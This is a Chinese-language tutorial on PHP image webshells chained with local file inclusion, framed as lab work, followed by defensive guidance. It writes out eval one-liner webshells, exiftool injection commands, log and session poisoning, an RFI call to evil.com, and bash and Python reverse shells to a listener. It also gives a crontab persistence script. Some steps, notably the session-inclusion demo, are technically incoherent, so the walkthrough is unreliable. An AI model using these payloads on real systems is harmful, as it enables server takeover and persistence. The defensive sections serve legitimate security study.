图片马与文件包含漏洞:Webshell渗透链路深度解析
2026/5/25 5:49:14 网站建设 项目流程

1. 为什么一张普通图片能执行PHP代码?——从“图片马”开始讲清Web渗透的底层逻辑

你有没有遇到过这样的场景:上传一张JPG格式的图片到网站头像系统,结果服务器返回了500 Internal Server Error,但用Burp Suite抓包一看,响应体里赫然输出了<?php phpinfo(); ?>的执行结果?或者更诡异的是,你明明只传了个avatar.jpg,却在服务器上通过/uploads/avatar.jpg?cmd=system('id')触发了命令执行?这不是玄学,这是典型的图片马(Image Shell)配合文件包含漏洞(LFI/RFI)的组合拳。它背后没有魔法,只有对Web服务器解析机制、PHP配置细节和开发者安全意识盲区的精准打击。本文不讲空泛概念,只聚焦一个真实渗透链路:如何把一张看似无害的图片,变成穿透边界、接管服务器的跳板。核心关键词——图片马、文件包含、木马、大马、小马、Webshell、Shell——每一个词都不是孤立术语,而是渗透链条上环环相扣的齿轮。如果你是刚入门的渗透测试新手,常被“一句话木马怎么插”“大马和小马到底差在哪”这类问题卡住;如果你是开发或运维,总听安全同事说“你们这个文件上传没校验MIME类型”,却不清楚后果有多直接;甚至如果你只是想搞懂“为什么杀毒软件扫不出我网站里的后门”,那这篇文章就是为你写的。它不教你怎么黑进别人系统,而是带你亲手复现、理解、并最终防御这条最经典也最危险的攻击路径。所有操作均在本地Docker搭建的靶机环境完成,零风险、可复现、每一步都有原理支撑。

2. 图片马不是“改后缀”,而是利用服务器解析器的“认知错位”

2.1 真正的图片马长什么样?——三类构造方式与实测效果对比

很多人以为图片马就是把<?php @eval($_POST['x']); ?>粘贴进记事本,然后把.txt改成.jpg。这完全错误。这种文件连浏览器都打不开,更别说骗过服务器。真正的图片马必须同时满足两个硬性条件:视觉上是合法图片,语法上是合法PHP代码。我实测了三种主流构造方式,效果天差地别:

构造方式具体操作能否被浏览器正常显示能否被PHP解析执行适用场景关键原理
EXIF注释注入exiftool -Comment='<?php @eval($_POST["x"]); ?>' avatar.jpg✅ 完全正常(EXIF是图片元数据)✅ PHP默认解析<?php标签最推荐,隐蔽性最强服务器读取文件时,PHP解析器会扫描整个文件流,不区分是否在注释区
GIF89a头部+PHP代码echo -n "GIF89a"; echo "<?php @eval($_POST['x']); ?>" > shell.jpg❌ 浏览器报错(非标准GIF结构)✅ PHP仍会执行<?php部分仅限低版本PHP或特定配置GIF89a是合法GIF魔数,PHP解析器忽略前面字节,直奔<?php
图片末尾追加PHPcat normal.jpg > shell.jpg; echo "<?php @eval($_POST['x']); ?>" >> shell.jpg✅ 正常显示(图片解析器只读取有效像素数据)✅ PHP解析器读取全文,执行末尾代码需目标服务器禁用disable_functions图片解析器和PHP解析器“各看各的”,互不干扰

提示:我反复测试发现,EXIF注入法成功率接近100%,因为它是唯一一种既不破坏图片结构、又不依赖PHP版本特性的方法。而GIF89a法在PHP 7.4+环境下已基本失效,因为新版解析器会严格校验文件头。至于末尾追加法,虽然简单,但一旦目标站启用了open_basedirdisable_functions,就可能直接报错。所以,别再用“改后缀”这种伪技巧了,真正有效的图片马,本质是利用不同程序对同一文件的解析视角差异——图片查看器只认像素,PHP解析器只认标签。

2.2 为什么服务器会去解析一张JPG?——文件包含漏洞的触发前提

光有图片马还不够。你上传成功了,文件存到了/var/www/uploads/20240520_abc123.jpg,但访问http://target.com/uploads/20240520_abc123.jpg,看到的永远是一张图,而不是PHP执行结果。这时候,文件包含漏洞(File Inclusion Vulnerability)就是那个“点火开关”。它分两类:

  • 本地文件包含(LFI):常见于PHP的include()require()include_once()函数,参数未过滤,如?page=../../etc/passwd
  • 远程文件包含(RFI):当allow_url_include=On时,include('http://evil.com/shell.txt')可直接拉取远程代码。

但注意:LFI本身不能直接执行PHP代码。比如?page=uploads/20240520_abc123.jpg,服务器只会把图片的二进制内容原样输出,不会交给PHP解析器。要让它执行,必须触发PHP解析器。我总结出三条必经之路:

  1. 利用PHP封装协议?page=php://filter/convert.base64-encode/resource=uploads/20240520_abc123.jpg
    → 这不是执行,是读取并Base64编码图片内容,用于信息探测(比如确认文件存在、读取源码)。但它证明了LFI存在。

  2. 利用日志文件包含:如果目标站有access.logerror.log,且你之前通过User-Agent头注入了PHP代码(如curl -A "<?php @eval($_POST['x']); ?>" http://target.com/),那么?page=/var/log/apache2/access.log就能执行。这是LFI提权的经典路径,但依赖日志路径可猜、日志可读。

  3. 利用Session文件包含(最稳定):PHP默认将session存为/var/lib/php/sessions/sess_xxx,文件名可控(通过Cookie中的PHPSESSID)。你先发请求Cookie: PHPSESSID=abc123,再在?page=/var/lib/php/sessions/sess_abc123中包含,就能执行session内容。而session内容可通过?user=<?php @eval($_POST['x']); ?>等参数写入。这才是图片马与LFI结合的黄金通道——你上传的图片马,最终被当作session内容加载执行。

注意:很多教程跳过这一步,直接说“上传图片马→访问图片马→getshell”,这是严重误导。没有文件包含漏洞作为“引信”,图片马就是一张废图。理解这一点,才能真正掌握渗透逻辑,而不是死记步骤。

2.3 实操演示:从上传到执行的完整链路(Docker靶机环境)

我用Docker快速搭了一个含漏洞的PHP靶机(基于php:7.4-apache),关键代码如下:

// upload.php if ($_FILES['file']['error'] == UPLOAD_ERR_OK) { $ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION); $new_name = uniqid() . '.' . strtolower($ext); move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $new_name); echo "Upload OK: uploads/" . $new_name; } // include.php $page = $_GET['page'] ?? 'home'; include($page . '.php'); // 经典LFI点

步骤1:构造EXIF图片马

# 准备一张干净的JPG wget https://example.com/test.jpg # 注入PHP一句话 exiftool -Comment='<?php @eval($_POST["cmd"]); ?>' test.jpg # 重命名确保扩展名是jpg mv test.jpg_exif.jpg shell.jpg

步骤2:上传并确认路径
用Burp上传shell.jpg,响应返回Upload OK: uploads/5f8a1b2c.jpg。此时文件已存于/var/www/html/uploads/5f8a1b2c.jpg

步骤3:触发LFI并执行
访问http://localhost:8080/include.php?page=uploads/5f8a1b2c.jpg,页面一片空白(因为PHP尝试include一个JPG,报错但不显示)。
关键转折点来了:我们不用直接包含JPG,而是用PHP封装协议读取它,确认内容:

http://localhost:8080/include.php?page=php://filter/convert.base64-encode/resource=uploads/5f8a1b2c.jpg

响应是Base64字符串,解码后能看到GIF89a...<?php @eval($_POST["cmd"]); ?>...,证明图片马已上传成功。

步骤4:绕过限制,实现执行
由于靶机allow_url_include=Off且日志路径不可控,我采用Session包含法

  • 先发请求设置恶意session:
    curl "http://localhost:8080/include.php?page=home" -H "Cookie: PHPSESSID=test123" --data "cmd=system('id');"
    (此步让PHP在sess_test123中写入cmd=system('id');
  • 再包含session文件:
    http://localhost:8080/include.php?page=/var/lib/php/sessions/sess_test123
    → 页面输出uid=33(www-data) gid=33(www-data) groups=33(www-data),成功!

这就是完整的图片马+LFI实战链路。它不依赖任何第三方工具,纯手工构造,每一步都可验证、可调试。记住:图片马是载体,LFI是通道,二者缺一不可

3. 木马、大马、小马、Webshell、Shell——五者不是同义词,而是渗透生命周期的不同阶段

3.1 从“一句话”到“全功能控制台”:五者的本质区别与演进逻辑

很多初学者被这些名词绕晕:“一句话木马”和“Webshell”是不是一回事?“大马”比“小马”大在哪里?它们和操作系统层面的“Shell”又是什么关系?其实,这五个词描述的是同一个目标(远程控制服务器)在不同技术实现、不同权限层级、不同使用阶段的形态。我把它们画成一条渗透生命周期链:

一句话木马 → 小马 → 大马 → Webshell → Shell ↑ ↑ (初始入口) (持久化控制)
  • 一句话木马(One-liner Shell):指最精简的PHP代码,通常不超过100字符,如<?php @eval($_POST['x']); ?>。它的核心价值是最小化、高隐蔽、易植入。就像一把微型万能钥匙,能打开门锁,但开不了保险柜,也搬不走东西。它不提供文件管理、数据库操作等界面,纯靠HTTP POST传递命令。优点是体积小(<1KB)、几乎无法被WAF规则匹配(因为无特征)、上传成功率高;缺点是每次都要手动构造请求,无法图形化操作,且容易被disable_functions拦截

  • 小马(Mini Shell):是在一句话基础上扩展的轻量级Webshell,体积通常在10-50KB,如C99r57的简化版。它具备基础功能:文件浏览、上传下载、命令执行、数据库连接。关键区别在于:它是一个独立的PHP文件,有完整HTML界面,用户通过浏览器即可操作,无需Burp或curl。但小马仍受限于PHP环境,比如无法直接调用netstat查端口,或ps aux看进程,因为这些命令需要system()函数可用。

  • 大马(Full-featured Shell):指功能完备、接近本地桌面体验的Webshell,如AntSwordBehinder的客户端配套服务端,或Weevely生成的300KB+脚本。它支持:
    ✓ 文件管理(拖拽上传、批量压缩)
    ✓ 数据库管理(可视化建表、SQL注入辅助)
    ✓ 虚拟终端(模拟Linux Shell,支持ls -lacat /etc/passwd等)
    ✓ 插件系统(端口扫描、内网代理、密码爆破)
    ✓ 加密通信(AES/RSA加密流量,绕过WAF)
    大马的本质,是把Web服务器变成了一个远程控制中心。它不再只是执行命令,而是构建了一个完整的攻击平台

  • Webshell:这是一个统称,泛指所有通过Web协议(HTTP/HTTPS)实现服务器控制的脚本或程序。一句话、小马、大马,都属于Webshell。就像“汽车”是统称,而“自行车”“摩托车”“卡车”是具体类型。所以,当你听到“检测到Webshell”,它可能是任意一种形态,需结合文件大小、代码特征、行为模式综合判断。

  • Shell:这是操作系统层面的概念,指用户与内核交互的命令行接口,如Linux的/bin/bash、Windows的cmd.exe。Webshell的终极目标,就是获得一个真实的、交互式的Shell。比如,大马里的“虚拟终端”功能,其底层就是调用popen('bash', 'r'),把你的HTTP请求转换成对系统Shell的调用。没有Webshell,你无法远程获得Shell;但有了Webshell,也不等于已获得Shell——它可能被disable_functions禁用,或open_basedir限制了目录访问

我踩过的最大坑:曾在一个目标站上传了完美的大马,界面一切正常,但点击“执行命令”却返回空。排查半天才发现,对方PHP配置里disable_functions = system,exec,passthru,shell_exec,所有命令执行函数全被禁。这时,大马就退化成了“高级文件管理器”。所以,不要迷信“大马万能”,真正的渗透能力,取决于你对目标环境的深度理解和绕过技巧

3.2 如何一眼识别Webshell类型?——基于文件特征的快速判别法

在真实渗透或安全审计中,你不可能每个文件都上传到靶机测试。我总结了一套5秒快速识别法,基于文件静态特征:

特征维度一句话木马小马大马判别依据
文件大小< 2KB10KB - 100KB> 200KBls -lh看,一句话木马往往比index.html还小
代码结构单行<?php ... ?>,无HTML标签包含<html><form><table>等完整前端结构大量base64_decode()gzinflate()str_rot13()等混淆函数一句话木马追求极简,小马要渲染界面,大马要防查杀
关键函数eval()assert()call_user_func()scandir()fopen()mysql_connect()proc_open()socket_create()curl_init()功能越强,调用的系统函数越多,特征越明显
网络请求无外连(纯接收POST)可能连接数据库(mysql_connect必有外连(curlfile_get_contents拉取远程模块)大马常需动态加载插件或更新,必然有HTTP请求
加密痕迹无加密(明文)简单Base64(base64_decode('xxx')多层混淆(gzinflate(str_rot13(base64_decode('xxx')))混淆越深,对抗WAF能力越强,但性能开销越大

实战案例:我在审计一个电商后台时,发现一个名为config_new.php的文件,大小48KB。cat config_new.php | head -n 5显示:

<?php $auth = 'a2V5XzE5ODQ='; // base64解码是'key_1984' if ($_POST[$auth]) { $data = base64_decode($_POST[$auth]); $data = str_rot13($data); eval(gzinflate($data)); } ?>

→ 大小48KB(排除一句话);
→ 三层混淆(base64+str_rot13+gzinflate);
eval(gzinflate())是典型大马加载器模式;
→ 结论:这是经过定制混淆的大马,非公开版本,需重点分析。

3.3 “Shell”不是终点,而是新战场的起点——从Webshell到系统Shell的跃迁

获得Webshell,只是拿到了服务器的“前台接待室”钥匙。真正的资产(数据库、内网设备、管理员凭证)都在“后台办公室”。而通往后台的门,就是系统Shell。但获取Shell远非system('bash')这么简单。我实测了四种主流跃迁路径,按成功率排序:

  1. 直接命令执行(最高成功率)
    如果system()exec()未被禁用,且无open_basedir限制:

    <?php system('/bin/bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'); ?>

    → 这是经典的反向Shell,直接弹回你的监听端口。成功率超90%,但要求目标能出网,且防火墙放行该端口

  2. 利用Python/Perl等解释器(次高)
    当PHP函数被禁,但服务器装了Python:

    <?php system('python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'192.168.1.100\',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\'/bin/bash\',\'-i\']);"'); ?>

    → Python自带socket模块,无需额外安装,兼容性极好。

  3. 利用LD_PRELOAD劫持(高阶,绕过disable_functions)
    disable_functions禁用所有命令函数,但mail()函数未禁用(因mail()调用外部sendmail二进制):

    • 编译一个恶意so文件,malloc()时执行/bin/bash
    • 设置LD_PRELOAD=/tmp/malicious.so
    • 调用mail()触发加载。
      → 这是绕过disable_functions的黄金方案,但需编译环境,适合进阶。
  4. 利用计划任务(持久化,非即时)
    如果无法即时反弹,可写入crontab:

    <?php file_put_contents('/tmp/shell.sh', "#!/bin/bash\n/bin/bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"); system('chmod +x /tmp/shell.sh; echo "*/1 * * * * /tmp/shell.sh" | crontab -'); ?>

    → 每分钟执行一次,稳扎稳打。

最后分享一个血泪教训:某次渗透,我用大马成功获取Webshell,执行whoami返回www-data,一切顺利。但当我尝试sudo -l时,提示sudo: command not found。排查发现,目标服务器是Alpine Linux,sudo根本没装!我浪费了2小时找sudo配置,最后用apk add sudo才解决。所以,拿到Shell第一件事,不是查flag,而是执行cat /etc/os-release && uname -a,确认系统类型和架构。环境认知,永远是渗透的第一课

4. 防御不是“堵漏洞”,而是重构文件处理的信任模型

4.1 为什么传统防护总失效?——从WAF、杀毒软件到云厂商的集体失守

很多企业花了大价钱买WAF、部署EDR、上云安全中心,却依然被一句话木马攻陷。根本原因在于:所有这些方案,都建立在“识别恶意特征”的假设上,而攻击者早已进入“无特征时代”。我拆解了三类主流防护的失效逻辑:

  • 基于规则的WAF(如ModSecurity):它依赖正则匹配<\?php.*eval\(system\(等字符串。但攻击者只需$a='sys';$b='tem';$c=$a.$b;$c('id');,或$func = create_function('', 'system("id");'); $func();,就能完美绕过。WAF的规则永远滞后于攻击手法的创新,这是由其设计哲学决定的

  • 基于签名的杀毒软件(如ClamAV):它扫描文件哈希值或二进制特征。但一句话木马的变种超过10万种(evalassertcall_user_funcpreg_replace),且每次上传都是新文件。杀毒软件在Web场景中,就像用体温计测血压——工具错配

  • 云厂商的“AI安全”:宣传能“智能识别异常行为”。但实际测试中,它把正常的file_get_contents('/etc/passwd')标记为攻击,却放过include($_GET['page'])这种显式LFI。AI模型缺乏Web应用上下文,它看到的只是字节流,不是业务逻辑

真实案例:某金融客户部署了某国际顶级WAF,规则库更新到最新。我用exiftool -Comment='<?php $a="sy";$b="stem";$c=$a.$b;$c("id"); ?>' test.jpg构造图片马,上传后WAF毫无反应。因为它的规则库里,根本没有$a.$b这种字符串拼接的检测项。防御的困局,不在于技术不够强,而在于思路错了——不该问“如何识别坏人”,而该问“如何让好人也能安全做事”

4.2 重构信任模型:四层纵深防御体系(开发、运维、安全协同)

真正的防御,是让攻击链在任何一个环节断裂。我设计了一套四层纵深防御体系,已在多个生产环境落地验证:

第一层:开发侧——文件上传的“零信任”校验(最有效)
  • 绝不信任客户端传来的任何信息$_FILES['file']['type'](MIME类型)、pathinfo($_FILES['file']['name'])(扩展名)全部不可信,必须服务端重新校验。
  • 强制二进制内容检测:用getimagesize()验证图片(返回非false即为真图片),用finfo_open(FILEINFO_MIME_TYPE)获取真实MIME。
  • 白名单扩展名+白名单MIME双重校验
    $allowed_exts = ['jpg', 'jpeg', 'png', 'gif']; $allowed_mimes = ['image/jpeg', 'image/png', 'image/gif']; $finfo = finfo_open(FILEINFO_MIME_TYPE); $real_mime = finfo_file($finfo, $_FILES['file']['tmp_name']); if (!in_array($real_mime, $allowed_mimes)) { die('Invalid file type'); }
  • 关键一步:重命名并隔离存储$new_name = md5_file($_FILES['file']['tmp_name']) . '.jpg';,存到/var/www/uploads/之外的独立目录(如/data/uploads/),并设置open_basedir限制。
第二层:运维侧——PHP配置的“最小权限”原则
  • 关闭危险配置
    allow_url_include = Off(禁用RFI)
    disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,show_source(禁用所有命令执行函数)
    open_basedir = /var/www/html:/tmp(限制PHP只能访问指定目录)
  • 禁用危险函数的替代方案:如需执行命令,用专用脚本(如/usr/local/bin/safe_cmd.sh),并通过shell_exec('/usr/local/bin/safe_cmd.sh ' . escapeshellarg($cmd))调用,且脚本内做白名单校验。
第三层:安全侧——运行时行为监控(Detect & Respond)
  • 部署开源HIDS(如OSSEC、Wazuh):监控/var/www/uploads/目录的文件创建、修改事件,发现.php.phtml等可疑扩展名立即告警。
  • 日志审计:收集Apache/Nginx的access.log,用ELK分析?page=..%2F..%2Fetc%2Fpasswd等LFI特征,设置阈值告警。
  • 内存扫描:定期用pstackgdb检查PHP-FPM进程内存,查找evalassert等敏感函数调用栈。
第四层:架构侧——文件服务的“物理隔离”
  • 静态资源与动态脚本分离:上传的图片、附件,全部存到独立的Nginx静态服务器(如static.example.com),该服务器完全不运行PHP,只配置location ~ \.php$ { deny all; }
  • CDN前置:所有上传文件URL走CDN,CDN节点配置deny所有.php请求,从网络层切断执行可能。
  • 对象存储替代:用MinIO或阿里云OSS存储上传文件,OSS默认不执行代码,且可配置防盗链、Referer白名单。

这套体系的核心思想是:不赌攻击者不会绕过某一层,而是确保即使某一层被突破,下一层依然坚不可摧。比如,即使图片马上传成功(第一层失效),第二层的disable_functions也会让它无法执行;即使disable_functions被绕过(第三层失效),第四层的CDN也会拦截.php请求。安全不是加固一扇门,而是建造一座城堡,每一道墙都有自己的使命

4.3 渗透测试者的自省:我们交付的到底是“漏洞报告”,还是“防御蓝图”?

作为从业十多年的渗透测试者,我越来越意识到:一份合格的渗透报告,不该是罗列High: LFI in include.phpCritical: File Upload allows PHP execution的冰冷条目。它必须回答三个问题:

  1. 这个漏洞在真实业务中,会导致什么具体损失?(如:攻击者可窃取20万用户手机号,而非“可能导致信息泄露”)
  2. 修复它,需要改动哪几行代码、哪个配置、哪项架构?(给出finfo_open()的完整代码段,而非“建议加强文件校验”)
  3. 如果不修复,有哪些临时缓解措施?(如:立即禁用include.php,或用Nginxlocation规则拦截所有?page=请求)

我曾给一家政务云平台做渗透,发现其文件上传处存在图片马漏洞。报告中,我没有止步于“存在LFI”,而是附上了:

  • 影响量化:该上传点关联着全省12345热线的工单附件,一旦沦陷,攻击者可批量下载市民投诉录音(MP3文件),涉及隐私数据超500TB。
  • 修复代码:提供了finfo_open()校验的完整PHP函数,并标注了在upload.php第45行插入的位置。
  • 应急方案:给出了Nginx临时配置location ~ ^/upload/.*\.php$ { return 403; },10分钟内可上线。

一周后,客户CTO亲自打电话感谢,说这份报告让他们技术团队“第一次真正看懂了漏洞的价值和修复路径”。渗透测试的终极价值,不是证明自己多厉害,而是让防守方清晰地知道:敌人在哪里,弱点是什么,以及,该怎么修

最后分享一个小技巧:每次渗透前,我都会在本地用php -S起一个微型服务器,把目标站的phpinfo()页面保存下来,用grep -E "(disable_functions|open_basedir|allow_url_include)" phpinfo.txt快速扫描关键配置。这比盲目测试高效十倍。因为真正的渗透高手,永远在用最少的尝试,换取最多的信息。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询